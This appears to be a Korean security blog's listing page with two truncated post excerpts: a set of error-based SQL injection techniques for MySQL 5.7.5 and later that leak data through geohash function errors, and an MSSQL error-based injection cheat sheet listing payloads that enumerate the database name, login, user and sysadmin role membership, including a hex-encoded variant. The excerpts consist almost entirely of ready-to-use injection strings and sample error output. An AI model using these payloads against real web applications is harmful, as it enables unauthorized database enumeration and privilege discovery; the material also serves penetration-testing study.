Error based SQL Injection2 New Error Based SQL Injection in MySQL >= 5.7.5 1. ST_LatFromGeoHash()mysql> select ST_LatFromGeoHash(version());-> ERROR 1411 (HY000): Incorrect geohash value: '5.7.6-community' for function ST_LATFROMGEOHASH 2. ST_LongFromGeoHash()mysql> select ST_LongFromGeoHash(version());-> ERROR 1411 (HY000): Incorrect geohash value: '5.7.6-community' for function ST_LONGFROMGEOHASH 3. ST_PointFromGeoHash()mysql> select ST_PointFromGeoHash(version(),0);.. 2015. 4. 5. MSSQL Error Based SQL Injection [MS-SQL Error Based SQLi] 0. 데이터베이스 조회 - ' and 1=(db_name())-- 1. 사용자계정 조회 및 권한 조회 - ' and 1=(select system_user as 'login name')-- - ' and 1=(select system_user)-- - ' and quotename(is_srvrolemember('sysadmin','sa'))=0-- - ' and quotename(is_srvrolemember(0x730079007300610064006D0069006E))=0-- (결과 값이 1이면 true 0이면 false) 2. 사용자 이름 조회 - ' and 1=(user)-- - ' and 1=(select user as 'user name')-- - .. 2014. 10. 24. 이전 1 다음